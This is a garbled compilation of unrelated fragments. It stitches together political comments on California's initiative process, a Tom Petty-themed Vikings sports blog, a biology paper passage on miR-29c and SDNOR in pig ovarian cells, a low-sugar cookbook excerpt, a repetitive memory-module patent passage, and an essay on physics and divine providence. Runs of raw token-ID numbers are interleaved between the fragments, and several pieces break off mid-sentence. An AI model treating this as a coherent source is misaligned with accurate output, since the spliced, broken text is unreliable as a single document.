the referendum. Without legislative districts, legislators can’t be elected. The governor could always call a statewide special election to be coincident with the primary. Maybe the Democrats could close their presidential primary, no reason to risk independents embarrassing the president. Please Governor Brown, please don’t throw us Republicans in that Top 2 briar patch all by ourselves. Can someone start recalling these politicians? Those who author these bills need to be recalled. Let us start with Mike Gatto. This little tyrant wants to do away with initiative process. Check his website and video.http://www.asmdc.org/members/a43/ It is time battle these politicians or we will loose what little we have in this state. The proposal to stop counting the primary election as a statewide general election for purposes of voting on initiatives and referenda would be perfectly reasonable if (1) it didn’t have any effect on initiatives that had already been submitted for title and summary at the time of its effective date; and (2) some mechanism were provided by which initiative proponents could demand that a statewide special election be called in order to consider their initiative (which might be consolidated with a statewide primary election). As it is now, the only mechanism for getting a special election called to consider ballot measures is convincing the governor to call one, by bribes, threats and/or cogent arguments. For initiatives at the city or county level, proponents can require that a special election be called by asking for it and collecting more signatures. The rumored plan by legislative Democrats to prevent initiatives from being voted on at the June 2012 primary election is sneaky and underhanded, but so were the maneuvers by right-wing initiative proponents to get their initiatives that they hope to pass on a June ballot in which they expect a lower and more conservative turnout than for the November election. Why else did the legislative Republicans go along with moving the Presidential primary election back from February to June, even though it will probably make California Republicans less influential in their party’s nominating process? In any case, the Democrats have a somewhat more straightforward way to make June 2012 less friendly to right-wing initiatives. If they convince Dianne Feinstein to retire (and it really is about time, regardless of what you think of her politics; if she runs and is reelected, she’d be 85 at the end of her next term), then there will almost surely be a hotly contested primary for the open Senate seat, and the statewide voter turnout will not be so skewed to the right (especially if the Republican presidential nomination is decided before the June primary). Thank you so much for covering this important issue. It is interesting that you’re highlighting that California is the only state where initiative and referendum votes are included in primary elections. The League of Women Voters of California is conducting a significant study of the initiative and referendum process. Our state study committee has formed; if you’re interested in this issue, we encourage you to think about joining a local League and participating in the study. Join one of the most trusted grassroots, volunteer-driven organizations in our state to encourage active and informed participation in democracy and make a real difference in our state. The League of Women Voters of Washington state long ago studied top-two election systems, and determined to oppose the top-two system in that state. In fact, the League of Washington state authored the ballot pamphlet argument against top-two in the 2004 Washington state election. Is it time for the California League to study top-two. In fact that is way overdue.Like many of you, I use a streaming service for most of my music these days. My service of choice happens to be Spotify.* One of my favorite features of Spotify is the custom playlists you can save and stream on any of your devices. Perhaps the most listened to playlist I have created is called “Dad Songs.” It consists of all the classic rock I grew up listening to, mostly because it was what my dad listened to. Hence the name. I play it all the time because it works for almost any audience. Today’s music can be almost as divisive as today’s politics; not so with “Dad Songs.” Everyone knows and enjoys most of the playlist. It may not be everyone’s favorite music, but nobody ever yells “UGH I HATE THIS SONG, CHANGE IT!” either. There are currently just under 500 songs on the playlist. The most featured artist by far is Tom Petty, who sadly passed away this week. So if you notice an underlying theme in this week’s preview, now you’ll know why. * = This is NOT a sponsored post—but if Spotify wants to throw a few free months of Premium my way for this free advertising, I wouldn’t be against it. You Wreck Me, Minnesota Vikings. Just when I thought the Vikings were on their way to grinding out an important divisional home win over the Detroit Lions and move to 3-1 on the year, we saw the knee of Dalvin Cook Breakdown. Detroit pounced on the fumble caused by Cook’s ACL tear, took the lead on the ensuing drive, and that all-too-familiar sensation of another season Free Fallin’ was suddenly back. Whenever fans of other teams try to console me about the latest devastating non-contact knee injury to strike down a Vikings star, my response is always the same: You Don’t Know How It Feels. Every year, I think just maybe, that We Stand A Chance. And then the terrible injury luck rears its ugly head and I’m thrown Straight Into Darkness again. We’re suddenly back to Square One. Ugh. I Should Have Known It. Don’t Do Me Like That, injury bug! Don’t Come Around Here No More! I feel like every knee at Winter Park should be labeled Handle With Care. We were really starting to believe in this Vikings team after Week 3. Sadly, we’re once again Finding Out that we’ve been Fooled Again (I Don’t Like It). It’s just The Same Old You when it comes to our favorite team. Sometimes it feels like cheering for the Vikings is A Wasted Life in a Dirty World. Alas, it isn’t The End Of The Line for the purple and gold just yet. The Vikings are still 2-2 and nobody appears to be ready to run away with the NFC anytime soon. They’re Alright For Now. As bleak as things may seem, Love Is A Long Road. Celebrating a big win on Monday night could change our perspective. The Chicago Bears haven’t had a lot to celebrate over the past several years. The Bears haven’t made the playoffs since 2010. They have lost at least ten games the past three seasons, and their 1-3 start isn’t exactly conjuring up a lot of hope for things to change
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In a luciferase activity assay, miR-29c dramatically decreased the luciferase activity of pmirFZD4-WT (Fig. [3c](#Fig3){ref-type="fig"}). Conversely, the luciferase activity of pmirFZD4-mut, which harbors a MRE mutation, did not change under miR-29c treatment (Fig. [3c](#Fig3){ref-type="fig"}). These data indicate that miR-29c directly targets porcine FZD4 via its 3′-UTR region.Fig. 3miR-29c attenuates FZD4 expression and induced porcine GC apoptosis.a Potential miRNAs targeting FZD4 were predicted through four different algorithms. b Diagram showing the sequence of putative miR-29c binding site in FZD4 3′UTR and MFE (minimum free energy). Black line indicated miR-29c seed sequence. c Recombinant reporter vectors containing MRE wild-type (WT), mutated FZD4 3′UTR (top), and their luciferase activities in HEK293T cells with or without miR-29c were calculated (bottom). miR-29c levels (d) and FZD4 mRNA levels (e) in porcine GCs treated with miR-29c mimcis (miR-29c^OE^) were assessed by qRT-PCR. f Western blot analysis (left) and quantification (right) for FZD4 and β-catenin protein levels in porcine GCs with miR-29c overexpression. GAPDH serves as control. miR-29c levels (g) and FZD4 mRNA levels (h) in porcine GCs treated with miR-29c inhibitor (miR-29-inhi) were assessed by qRT-PCR. i Western blot analysis (left) and quantification (right) for FZD4 and β-catenin protein levels in pGCs transfection with miR-29c knockdown. GAPDH serves as control. FACS analysis (left) and quantification (right) for the apoptosis rate of porcine GCs after miR-29c mimics treatment or with FZD4 overexpression (FZD4^OE^) (j), and miR-29c inhibitor addition or with FZD4 knockdown (k). Data in c--k are represented as mean ± S.E.M. (n = 3, each). \\p \< 0.01, ns indicates no significance versus control or scrambled. In vivo, miR-29c and FZD4 mRNA levels were negatively correlated (r = −0.6151, p = 0.033) in follicles of porcine ovary (Fig. [S4](#MOESM5){ref-type="media"}). To determine the effects of miR-29c on endogenous FZD4 expression in porcine GCs, we performed loss- and gain-of-function experiments (Fig. [3d, g](#Fig3){ref-type="fig"}). Ectopic expression of miR-29c dramatically decreased the levels of FZD4 mRNA (Fig. [3e](#Fig3){ref-type="fig"}) and FZD4 protein (Fig. [3f](#Fig3){ref-type="fig"}), as well as the level of β-catenin (Fig. [3f](#Fig3){ref-type="fig"}), in GCs. By contrast, the levels of FZD4 mRNA (Fig. [3h](#Fig3){ref-type="fig"}), FZD4 protein, and β-catenin protein (Fig. [3i](#Fig3){ref-type="fig"}) were significantly increased by miR-29c depletion. These data suggest that FZD4 is a functional target of miR-29c in GCs, and that miR-29c inhibits both FZD4 and the FZD4-dependent Wnt signaling pathway. We next investigated the role of miR-29c in porcine GCs. FACS revealed that ectopic expression of miR-29c significantly induced GC apoptosis (Fig. [3j](#Fig3){ref-type="fig"}), whereas inhibition of miR-29c significantly decreased it (Fig. [3k](#Fig3){ref-type="fig"}), indicating that miR-29c acts as a pro-apoptotic factor in porcine GCs. Furthermore, miR-29c-induced GC apoptosis was prevented by FZD4-OE (Fig. [3j](#Fig3){ref-type="fig"}). Depletion of FZD4 restored GC apoptosis in cells treated with miR-29c inhibitor (Fig. [3k](#Fig3){ref-type="fig"}). In addition, miR-29c significantly elevated the level c-Caspase-3, and this effect was reversed by ectopic expression of FZD4 (Fig. [S5](#MOESM6){ref-type="media"}). Together, these results prove that miR-29c directly targets FZD4 and inhibits its expression, leading to apoptosis. SDNOR, a novel SMAD4-dependent lncRNA, is involved in follicular atresia and GC apoptosis {#Sec18} ------------------------------------------------------------------------------------------- To further investigate the mechanism underlying SMAD4 inhibition of miR-29c, we deduced a SMAD4-dependent lncRNA--miR-29c interaction network from our previous RNA-seq data^[@CR38]^. Notably, a novel lncRNA not only interacts with miR-29c, but also maps near FZD4 on porcine chromosome 9 was identified. We performed a RACE assay to obtain the full-length sequence of this lncRNA, and found that it is 739 nt in length (Figs. [4a, b](#Fig4){ref-type="fig"} and [S6a](#MOESM7){ref-type="media"}). Based on bioinformatic prediction, this lncRNA has no protein-coding potential (Fig. [S6b, c](#MOESM7){ref-type="media"}); accordingly, we named it SDNOR. Porcine SDNOR is located \~69.5 kb upstream of FZD4 (chromosome 9) and consists of five exons and four introns that exhibit relatively low evolutionary conservation among mammals (Fig. [4c](#Fig4){ref-type="fig"}). In addition, we identified an enrichment in H3K27 acetylation at the TSS of porcine SDNOR, suggesting that it has the features of an RNA polymerase II transcription unit (Fig. [4c](#Fig4){ref-type="fig"}).Fig. 4SDNOR, a novel antiapoptotic lncRNA, is regulated by SMAD4.Detection of 5′ and 3′ terminals of the novel lncRNA by using 5′RACE (a) and 3′RACE (b). c Schematic annotation of SDNOR with associated UCSC Genome Browser tracks depicting genomic locus, GC percent, H3K27Ac modification as well as mammalian conservation. d qRT-PCR validation of SDNOR expression levels in pig ovarian GCs and TCs (Theca cells). e Detection of SDNOR expression in healthy follicles (HF) and atresic follicles (AF), assessed by qRT-PCR (n = 10). f SDNOR expression levels in porcine GCs after SDNOR knockdown, determined by qRT-PCR. g FACS analysis (left) and quantification (right) of the apoptosis rate of porcine GCs after SDNOR knockdown. h Representative western blot analysis (left) and quantification (right) of c-Caspase-3 protein levels in GCs after SDNOR knockdown. i Luciferase activities of reporter vectors containing pig SDNOR promoter in porcine GCs with or without SMAD4 overexpression (S4^OE^) were assessed. j Diagram depicting SDNOR promoter (top) and ChIP assay (down), SBE shown as pink diamonds; F1′/R1′, F2′/R2′, and F3′/R3′: primers used for ChIP and ChIP-qPCR assay. k ChIP-qPCR were performed to detect the different SBEs in the promoter of SDNOR following immunoprecipitation with a SMAD4 antibody. Throughout, all experiments were performed in triplicate. Data in d--k are shown as mean ± S.E.M. (n = 3, each). \\p \< 0.01 versus control or scrambled. Tissue expression profiling of the reproductive system revealed that SDNOR is abundantly expressed in porcine ovary (Fig. [S6d](#MOESM7){ref-type="media"}). In ovarian follicles, SDNOR was mainly present in GCs (Fig. [4d](#Fig4){ref-type="fig"}). Notably, we also observed that SDNOR was dramatically downregulated during follicular atresia (Fig. [4e](#Fig4){ref-type="fig"}), suggesting that it is somehow involved in this process. To further assess the role of SDNOR in regulating follicular atresia, we knocked down endogenous SDNOR in porcine GCs cultured in vitro (Fig. [4f](#Fig4){ref-type="fig"}). Silencing of SDNOR significantly increased GC apoptosis (Fig. [4g](#Fig4){ref-type="fig"}) and the level of c-Caspase-3 (Fig. [4h](#Fig4){ref-type="fig
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34153, 4846, 187, 187, 424, 52, 16734, 27, 21732, 424, 187, 187, 424, 6116, 5495, 29702, 942, 424, 187, 187, 424, 3594, 266, 2907, 322, 1028, 1544, 583, 27, 8256, 424, 187, 187, 424, 6812, 13917, 16, 52, 16734, 378, 1170, 2071, 423, 27, 2552, 878, 247, 1643, 625, 2909, 8, 17326, 673, 424, 187, 187, 424, 52, 16734, 27, 2594, 346, 3594, 266, 2907, 8618 ]	RESTAURANT-INSPIRED RECIPES—FAVORITE TOOLS It goes without saying that measuring cups and spoons, cutting boards, bowls, and a basic set of pots and pans are required when making recipes. When doing so with restaurant-quality, consistency, and focus in mind, here are some other essentials that come in handy. KITCHEN SCALE. For accuracy in making a dish, nothing is more valuable than a food scale. Once you have one, I guarantee you'll use it more than you ever thought you would. SHARP KNIVES. Sharp knives make food prep faster and easier; they produce cleaner cuts and more uniform pieces, and they're safer. (A knife sharpener is a good investment too.) MICROPLANE GRATERS. Beyond having the attributes of sharp knives, ultra-sharp graters require little skill to produce fine zest and wafer-thin shards of cheese for garnishing and more. MISE EN PLACE BOWLS. Having all your ingredients ready allows you to focus on the steps. I have two sets of small bowls (and also find 2 and 4 cup Pyrex measuring cups handy). A SHARP SLICER. You don't need an expensive mandoline or expert knife skills to make perfectly sliced tomatoes, cucumbers, or onions. An inexpensive V-slicer works wonders. MULTIPLE MIXING SPOONS, SPATULAS, AND WHISKS. Various sizes and shapes mean you always have the perfect tool for the job (like lifting a flaky piece of fish to neatly plate it). TONGS. Several pairs with metal tips and rubber tips. From flipping meat, chicken, and bacon, to serving pasta and sides, tongs are like having an extra hand (that can take the heat!). NONSTICK SKILLETS. 8-, 10-, and 12-inch. These are the workhorse pans in any kitchen. Be sure you have lids from pots that can be used for steaming, or purchase a large universal lid. NONSTICK GRILL PAN. Want to grill or create grill marks in a hurry? Just set one of these no-fuss pans on your stovetop and you're set to go—year-round. I frequently purchase these for gifts. INSTANT-READ THERMOMETER. There's no better way to determine doneness. See here for more information and a cooked-to-perfection temperature chart. * _All sugar substitute packets are equivalent to the sweetness of 2 teaspoons of sugar. Do not measure packets' contents; the contents are far more intense than measurable amount. (Not recommended for baked goods.)_ # EAT WHAT YOU LOVE ## CREATING RESTAURANT-INSPIRED MEALS AT HOME Here's some great news. You don't have to be a restaurant chef to produce restaurant-worthy dining occasions at home! As important as chopping, searing, and perfect plating are planning, organization, and paying attention to detail—and, of course, using a good recipe. Here are some tips to bring it all together. EIGHT EASY TIPS FOR DINING IN 1. KEEP YOUR PANTRY WELL STOCKED (SEE HERE). Keep tabs on condiments, canned goods, and spices and add "backups" like canned milk and broth packets to your larder. Don't forget to keep fresh citrus like lemons, limes, or oranges, along with green onions, parsley, cilantro, or tomatoes, on hand for last-minute garnishing. 2. INVEST IN THE RIGHT TOOLS. Having the right tools (see here) will help ensure that you get the best results. Don't skimp on the most valuable tools. Money spent on a good sharp knife, pots, and solid sauté pans will pay back the investment. 3. MAKE A PLAN. Read each recipe thoroughly, noting the ingredients, required equipment, and timing. When making more than one dish, pre-determine the best sequence of events ahead of time. 4. GET ORGANIZED. With your plan set, it's time to prep! Create a "mise en place" by gathering tools and prepping, measuring, and organizing all ingredients. 5. EMBRACE THE HEAT. Chefs know that the power of a good sear adds color and flavor when cooking meats and vegetables; fully preheat skillets and ovens as directed. 6. TASTE! Taste as you go, add seasonings to taste, and adjust accordingly; enough said. 7. CREATE A PRETTY PLATE. Food always looks great on white dishes. Get creative and lay sauces down first and/or layer protein atop starches like potatoes or rice, clean any splatters from the rim, and _always_ add a garnish. Garnishes should complement the dish and be edible. 8. SET THE SCENE. It doesn't need to be elaborate. Nice napkins, whether paper or cloth, a set table (flowers and/or candles optional), and soft music make all food taste better. # [EAT _what you_ LOVE RESTAURANT FAVORITES](toc.xhtml#toc-part001) ## RECIPES # COFFEEHOUSE / DONUT SHOPS Coffee Coolatte McCafé-Style Frosty Caramel & Mocha Frappés Better-for-You Strawberry Banana Smoothie DIY Cold-Brew Mocha Iced Coffee Bacon and Egg Avocado Toast Egg, Spinach, and Sausage Wake-Up Wrap Small Batch Apple Fritter Donut Muffins Fast-Fix Fruit & Cream Cheese Danish Classic Cinnamon Coffee Cake Quick 'N' Easy Blueberry Banana Breakfast Loaf Almond Joy Hot Chocolate # _For the Love of_ ## SUGAR Cooking—and especially baking—with less sugar can be challenging. That's why I'm happy to say that today there are more reduced-calorie sweetening options than ever, including those that are all-natural. While there are many options, I have found the following to be easy-to-find, easy-to-use, economical, safe, and most of all, deliciously sweet for cooking and baking. _Every recipe that calls for a "sweetener" was tested with the sweeteners below. Use the information below to select the sweetening choice, or to assist with another alternative, that suits you and yours best._ SUCRALOSE. Recipes were tested and analyzed with granulated no-calorie sucralose-based sweeteners, which measure 1:1 for sugar. It is the sweetener that delivers the best-tasting results for the fewest calories and carbs. (Packets work well for beverages.) ALL-NATURAL STEVIA (BAKING BLEND).* There are many types and brands of all-natural stevia-based sweeteners; they differ greatly, however, in sweetness, taste, and safeness. Recipes were tested with Truvia Baking Blend, made with 25% real sugar. It has 75% fewer calories and carbs when compared to sugar and no unpleasant aftertaste (as is common with stevia). The blend is twice as sweet as sugar, so you _simply halve the amount of sweetener called for in any recipe_ (see chart below). Baking time may need to be extended slightly. The caloric difference per serving when compared to sucralose for the recipes in this book is less than 10 calories. Packets work well in beverages.* GRANULATED SUGAR. Even if you choose to use regular sugar, my recipes are healthier than their higher-calorie counterparts. When using regular sugar in baked goods, omit ¼ teaspoon of baking soda per cup of sweetener and expect to increase the baking time by a couple of minutes for cakes, 3 to 5 minutes for cookies, and up to 5 minutes for muffins. Check all baked goods according to the recipe's test for doneness. (Tip: The normal substitution for sugar is 1:1 for measured granulated no-calorie sweetener; however, you can cut one-fourth of the sugar called for in most baked goods with the only effect being slightly reduced sweetness.) Equivalent Measure Granulated Sucralose: 1 cup Stevia/Sugar Baking Blend: ½ cup Sugar: 1 cup Calories Granulated Sucralose: 96 Stevia/Sugar Baking Blend: 190 Sugar: 784 Carbohydrates Granulated Sucralose: 24 Stevia/Sugar Baking Blend: 47 (usable) Sugar: 190 Recipe Adjustments Granulated Sucralose: None Stevia/Sugar Baking Blend: May need a few more minutes' baking time **Sugar: See "Granulated sugar
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The third memory module preferably has a third memory component having a third memory core for storing data therein, a fifth set of interface connections for providing access to the third memory core, a sixth set of interface connections for providing access to the third memory core, and third access circuitry for selecting between a first mode wherein a first portion of the third memory core is accessible through the fifth set of interface connections and a second portion of the third memory core is accessible through the sixth set of interface connections, and a second mode wherein both the first portion and the second portion of the third memory core are accessible through the fifth set of interface connections. Also, if such is the case, the third data port is beneficially connected to the sixth set of interface connections for providing access between the memory controller and the third memory module, the second set of interface connections is beneficially connected to the third set of interface connections for providing access between the first memory module and the second memory module, and the fourth set of interface connections is beneficially connected to the fifth set of interface connections for providing access between the second memory module and the third memory module. In accordance with still further aspects of this exemplary embodiment of the present invention, the memory module may be a first memory module having a first memory component with a first memory core and first access circuitry, wherein the memory controller includes a first data port, a second data port, and a third data port, wherein the first data port is connected to the first set of interface connections for providing access between the memory controller and the first memory module, and wherein the second data port is connected to the second set of interface connections for also providing access between the memory controller and the first memory module. If such is the case, the memory system may further comprise a second memory module having a second memory component having a second memory core for storing data therein, a third set of interface connections for providing access to the second memory core, a fourth set of interface connections for providing access to the second memory core, and second access circuitry for selecting between a first mode wherein a first portion of the second memory core is accessible through the third set of interface connections and a second portion of the second memory core is accessible through the fourth set of interface connections, and a second mode wherein both the first portion and the second portion of the second memory core are accessible through the third set of interface connections. Also, if such is the case, the third data port is beneficially connected to the third set of interface connections for providing access between the memory controller and the second memory module. In another exemplary embodiment, the techniques are realized through a memory system comprising a memory module and a memory controller. The memory module comprises at least one memory component for providing memory storage locations for storing data therein, a first set of interface connections for providing access to at least some of the memory storage locations, and a second set of interface connections for providing access to at least some of the memory storage locations. The memory module also comprises access circuitry for selecting between a first mode wherein a first group of the memory storage locations is accessible through the first set of interface connections and a second group of memory storage locations is accessible through the second set of interface connections, and a second mode wherein both the first group and the second group of memory storage locations are accessible through the first set of interface connections. The memory controller provides memory access signals to the memory module for selecting between the first mode and the second mode. In accordance with other aspects of this exemplary embodiment of the present invention, the memory controller may include a first data port and a second data port for providing access to the memory module, wherein the first data port is connected to the first set of interface connections for providing access between the memory controller and the memory module. If such is the case, the memory system may further comprise a continuity module connected to the second data port and the second set of interface connections for providing access between the memory controller and the memory module. In accordance with further aspects of this exemplary embodiment of the present invention, the memory module may be a first memory module having at least one first memory component for providing first memory storage locations and first access circuitry, wherein the memory controller includes a first data port and a second data port, and wherein the first data port is connected to the first set of interface connections for providing access between the memory controller and the first memory module. If such is the case, the memory system may further comprise a second memory module having at least one second memory component for providing second memory storage locations for storing data therein, a third set of interface connections for providing access to at least some of the second memory storage locations, a fourth set of interface connections for providing access to at least some of the second memory storage locations, and second access circuitry for selecting between a first mode wherein a first group of the second memory storage locations is accessible through the third set of interface connections and a second group of the second memory storage locations is accessible through the fourth set of interface connections, and a second mode wherein both the first group and the second group of the second memory storage locations are accessible through the third set of interface connections. Also, if such is the case, the second data port is beneficially connected to the third set of interface connections for providing access between the memory controller and the second memory module, and the second set of interface connections is beneficially connected to the fourth set of interface connections for providing access between the first memory module and the second memory module. In accordance with still further aspects of this exemplary embodiment of the present invention, the memory module may be a first memory module having at least one first memory component for providing first memory storage locations and first access circuitry, wherein the memory controller includes a first data port, a second data port, and a third data port, and wherein the first data port is connected to the first set of interface connections for providing access between the memory controller and the first memory module. If such is the case, the memory system may further comprise a second memory module and a third memory module. The second memory module preferably has at least one second memory component for providing second memory storage locations for storing data therein, a third set of interface connections for providing access to at least some of the second memory storage locations, a fourth set of interface connections for providing access to at least some of the second memory storage locations, and second access circuitry for selecting between a first mode wherein a first group of the second memory storage locations is accessible through the third set of interface connections and a second group of the second memory storage locations is accessible through the fourth set of interface connections, and a second mode wherein both the first group and the second group of the second memory storage locations are accessible through the third set of interface connections. The third memory module preferably has at least one third memory component for providing third memory storage locations for storing data therein, a fifth set of interface connections for providing access to at least some of the third memory storage locations, a sixth set of interface connections for providing access to at least some of the third memory storage locations, and third access circuitry for selecting between a first mode wherein a first group of the third memory storage locations is accessible through the fifth set of interface connections and a second group of the third memory storage locations is accessible through the sixth set of interface connections, and a second mode wherein both the first group and the second group of the third memory storage locations are accessible through the fifth set of interface connections. Also, if such is the case, the third data port is beneficially connected to the sixth set of interface connections for providing access between the memory controller and the third memory module, the second set of interface connections is beneficially connected to the third set of interface connections for providing access between the first memory module and the second memory module, and the fourth set of interface connections is beneficially connected to the fifth set of interface connections for providing access between the second memory module and the third memory module. In accordance with still further aspects of this exemplary embodiment of the present invention, the memory module may be a first memory module having at least one first memory component for providing first memory storage locations and first access circuitry, wherein the memory controller includes a first data port, a second data port, and a third data port, wherein the first data port is connected to the first set of interface connections for providing access between the memory controller and the first memory module, and wherein the second data port is connected to the second set of interface connections for also providing access between the memory controller and the first memory module. If such is the case, the memory system may further comprise a second memory module having at least one second memory component for providing second memory storage locations for storing data therein, a third set of interface connections for providing access to at least some of the second memory storage locations, a fourth set of interface connections for providing access to at least some of the second memory storage locations, and second access circuitry for selecting between a first mode wherein a first group of the second memory storage locations is accessible through the third set of interface connections and a second group of the second memory storage locations is accessible through the fourth set of interface connections, and a second mode wherein both the first group and the second group of the second memory storage locations are accessible through the third set of interface connections. Also, if such is the case, the third data port is beneficially connected to the third set of interface connections for providing access between the memory controller and the second memory module. In another exemplary embodiment, the techniques are realized through a memory system comprising a memory controller/module connector having designated active and inactive address and data sites. The memory system also comprises a memory controller having a plurality of groups of address and data lines, wherein each group of address lines is connected to a respective active address site, and wherein each group of data lines is connected to a respective active data site. The memory system further comprises at least one memory module having a memory component with a memory core for storing data therein, wherein each memory module has a plurality of sets of address and data contacts for providing access to the memory core. Each memory module is
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273, 697, 4243, 15, 329, 2234, 4473, 275, 436, 45290, 3762, 13, 672, 352, 310, 4720, 26115, 13, 588, 13353, 320, 346, 18480, 937, 4495, 253, 17776, 273, 253, 18525, 3102, 273, 2264, 2341, 2685, 275, 253, 985, 15, 733, 310, 247, 21541, 15355, 326, 13, 347, 10454, 3762, 3249, 273, 2363, 13, 1491, 588, 1379, 697, 1659, 12936, 2341, 347, 247, 2234, 7140, 275, 3520, 4680, 15, 187, 187, 510, 16936 ]	in the contingent aspects of evolution as well as in the lawful regularity that constrains it? Christian theology uses personal language about God (however stretched that language necessarily is), calling God "Father" rather than "Force," precisely because it believes that in particular circumstances divine providence acts to bring about particular consequences. The coherence of holding this belief, while taking modern science seriously, is the issue to be explored in the following section. Causal Structure In the eighteenth and nineteenth centuries, it seemed to many as if the deterministic equations of Newtonian physics implied that the universe is a world of clockwork mechanism, with its Creator simply the great cosmic Clockmaker. There was always something suspicious about this idea, since human experience of choice and responsibility surely indicates that persons are not just automata. However, in the twentieth century the discovery of intrinsic unpredictabilities present in nature, both at the microscopic level of quantum physics and, later, at the macroscopic level of the exquisitely sensitive systems of chaos theory, showed that the universe is something more subtle than a merely mechanical world. The word "intrinsic" is important here, for the unpredictabilities involved are of a kind that cannot be removed by more careful measurement or by more precise calculation. They are properties of physical reality. Unpredictability might be epistemological or ontological in character. In the former case, it would just be the consequence of an unavoidable ignorance of all the factors involved, which if actually known would be sufficient fully to predict a particular outcome. The fall of a die would be a homely example of epistemic unpredictability. Ontological unpredictability is much more radical in its character, for it corresponds to the presence of real indeterminacy. The Copenhagen interpretation of quantum physics, stemming from the thought of Niels Bohr, has this character. It considers the Heisenberg uncertainty principle to be a principle of radical indeterminism and not simply a principle of necessary ignorance. Yet physics itself does not enforce this conclusion. There is an alternative interpretation of quantum theory, due to David Bohm (see Bohm and Hiley 1993), which is fully deterministic, in which uncertainty does indeed arise from unavoidable ignorance of all the causal factors involved. The theories of Bohr and Bohm both lead to identical empirical consequences, so that the choice between them cannot be made on the ground of physics alone, but is a matter requiring also metaphysical decision. Almost all physicists side with Bohr, one of the reasons being that Bohm's theory, though very ingenious and instructive, has about it an air of unnatural contrivance which fails to make it metaphysically persuasive. The lesson to derive from this quantum controversy is the recognition that while physics constrains our ideas about causality, it is not sufficient on its own to determine them. I have suggested that we should take a similar metaphysical approach to interpreting the unpredictabilities of chaos theory, seeing them as indications of further causal openness in physical process, now present at the macroscopic level (Polkinghorne 1991 34–48). The issue cannot be settled by appealing to the deterministic equations from which chaos theory took its mathematical origin, since we know that classical physics can offer only an approximate account of reality. The strategy of interpreting intrinsic unpredictability ontologically is a natural one to take for those of a realist disposition in the philosophy of science, for whom what we know, or cannot know, is taken to be a reliable guide to what is the case. To do so does not imply that the future is some sort of random lottery, but simply that there are more causal factors active in bringing it about than those which science can describe in its reductionist terms of the exchange of energy between constituents. It would be natural to suppose that these additional causal factors include the exercise of human agency and divine providential interaction, both taking place within the open grain of created nature. What this discussion certainly shows is that physics has not established the causal closure of the world on its terms alone. This judgment is reinforced by the recognition that the account of causal structure offered by physics is not only metaphysically ambiguous, but it is also distinctly patchy in its character. Often the connections between different regimes are not well understood. For example there is no fully adequate account of how the apparently clear and reliable world of everyday experience emerges from its cloudy and fitful quantum substrate. Microscopic quantum theory and macroscopic chaos theory, as presently formulated, are incompatible with each other. Quantum physics has a scale (giving a meaning to "large" and "small" and set by Planck's constant), while chaos theory is notoriously fractal in character, looking the same on any scale on which it is sampled. The two theories just do not fit consistently together. The conclusion is that one can take absolutely seriously all that physics can actually tell us about the causal structure of the universe, without being driven to deny human agency or exclude that providential activity of God within its history to which many religious traditions, including Christianity, bear witness. Relationality In the eighteenth century, physical thinking had a strongly atomistic character, but the succeeding two centuries have seen an increasing recovery of the importance of relationality. Among the greatest triumphs of nineteenth-century physics was James Clerk Maxwell's theory of electromagnetism. It relational significance does not derive from its being a field theory, since fields, while spread out in space and varying in time, have a local character in the sense that changes occurring at two separated locations are independent and have no immediate effect upon each other. What was relationally significant in Maxwell's theory was the intimate linkage it revealed between electricity and magnetism, two sets of phenomena which superficially had seemed completely unrelated to each other. A unifying trend of this kind has proved to be a continuing feature of physical thinking. Albert Einstein's discovery of general relativity showed how space, time, and matter form an integrated system in which matter curves space-time and this curvature in turn influences the motion of particles of matter. The Newtonian picture of isolated atoms colliding in the container of absolute space, and in the course of the unfolding of absolute time, has had to be replaced by an altogether more relational account, in which space, time, and matter are joined together in a kind of physical package deal. The quest for further unification has continued. In the 1960s, Steven Weinberg and Abdus Salam were independently able to integrate electromagnetism and the weak nuclear force, responsible for such phenomena as radioactive nuclear decay, in a single electroweak theory. Today, most physicists entertain the belief that there is a Grand Unified Theory, capable of combining in a single account all the forces of nature, including gravity, though so far no fully satisfactory theory of this kind has been successfully formulated. The extreme sensitivity of chaotic systems to the slightest influence coming from their environment means that they can never adequately be considered in separation from that environment. However, the most striking discovery of intrinsic relationality in physics has been quantum entanglement. In the 1930s, Einstein and two young colleagues noticed that quantum theory implied that two quantum entities which had once interacted with each other could, in consequence, be in a state in which they retained a power of instantaneous influence on each other, however far they became separated. This mutual connection is a true ontological effect, producing real change in both entities, and not simply epistemological, revealing something that had always been the case. The entangled particles effectively constitute a single, non-local, system. Einstein thought that this togetherness-in-separation was so "spooky" that it must imply that there was something wrong with modern quantum theory, which he had always disliked. However, in the 1980s, clever experiments demonstrated that quantum entanglement is indeed a property of nature. The instantaneous action-at-a-distance that this implies is not a violation of special relativity, since careful analysis shows that it cannot be used to send information that would permit the synchronization of separated clocks, something that is forbidden by special relativity. Quantum entanglement shows us that even the subatomic quantum world cannot be treated atomistically. Today a further scientific development of considerable potential significance is taking place through the study of complex systems, treated holistically as integrated entities and not decomposed into their constituent parts in science's traditionally reductionist manner. Current complexity theory is at the natural history stage of the study of many particular examples and it has not yet reached the mature scientific status of attaining a properly formulated general theory, explaining the underlying source of its diverse phenomena. The systems so far studied are far less complicated than even a single living cell, but nevertheless astonishing holistic properties have been discovered which were wholly unforeseeable from the point of view of a constituent-based analysis. These complex systems display very remarkable self-organizing powers to generate patterns of dynamically ordered holistic behavior (see Prigogine and Stengers 1984; Kauffman 1995). A simple example is provided by Bénard convection. Fluid is confined between two horizontal plates and the lower is maintained at a higher temperature than the upper. In certain well-defined circumstances, the transfer of heat between the two plates is carried by the convective motion of hot fluid, in a process which takes place within an orderly pattern of hexagonal convection cells. This spontaneously structured behavior involves the correlated motions of literally trillions upon trillions of fluid molecules. The discovery of phenomena of this kind strongly suggests that the traditional reductionist physics based on the exchange of energy between constituents will need complementing by a holistic theory of the behavior of systems considered as totalities, reflecting the fact expressed in the slogan, "More is different" – the whole is more than the sum of its parts. A key concept in this holistic theory, when it is finally formulated, will surely be "information," meaning the specification of the dynamical pattern of total energy flow in the system. It is a plausible expectation that, as complexity theory comes of age, information will take its place alongside energy as a key category in physical thinking. The developments
